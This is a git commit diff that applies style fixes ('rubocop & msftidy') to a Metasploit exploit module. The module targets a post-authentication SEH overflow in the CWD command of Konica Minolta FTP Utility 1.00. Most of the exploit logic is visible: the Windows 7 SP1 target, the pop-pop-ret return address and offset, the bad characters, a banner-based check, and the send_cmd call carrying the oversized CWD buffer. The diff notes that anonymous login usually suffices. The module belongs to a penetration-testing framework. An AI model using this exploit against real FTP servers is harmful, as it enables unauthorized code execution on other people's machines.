run rubocop & msftidy
parent
a5daa5c9be
commit
7587319602
|
@ -13,32 +13,32 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
|
||||
'Description' => %q{
|
||||
'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a SEH overflow in Konica Minolta FTP Server 1.00.
|
||||
Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
|
||||
leads to a SEH overflow. Konica FTP allows anonymous access by default; valid
|
||||
credentials are typically unnecessary to exploit this vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
'Author' =>
|
||||
[
|
||||
'Shankar Damodaran', # stack overflow dos p.o.c
|
||||
'Shankar Damodaran', # stack buffer overflow dos p.o.c
|
||||
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EBD-ID', '37908' ],
|
||||
[ 'EBD-ID', '37908' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1500,
|
||||
'Space' => 1500,
|
||||
'BadChars' => "\x00\x0a\x2f\x5c",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows 7 SP1 x86',
|
||||
|
@ -46,9 +46,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
|
||||
'Offset' => 1037
|
||||
}
|
||||
],
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'August 23 2015',
|
||||
'DisclosureDate' => 'Aug 23 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
connect
|
||||
disconnect
|
||||
|
||||
if (banner =~ /FTP Utility FTP server/)
|
||||
if banner =~ /FTP Utility FTP server/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -72,10 +72,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
buf << rand_text(3000)
|
||||
|
||||
print_status("Sending exploit buffer...")
|
||||
send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string
|
||||
send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue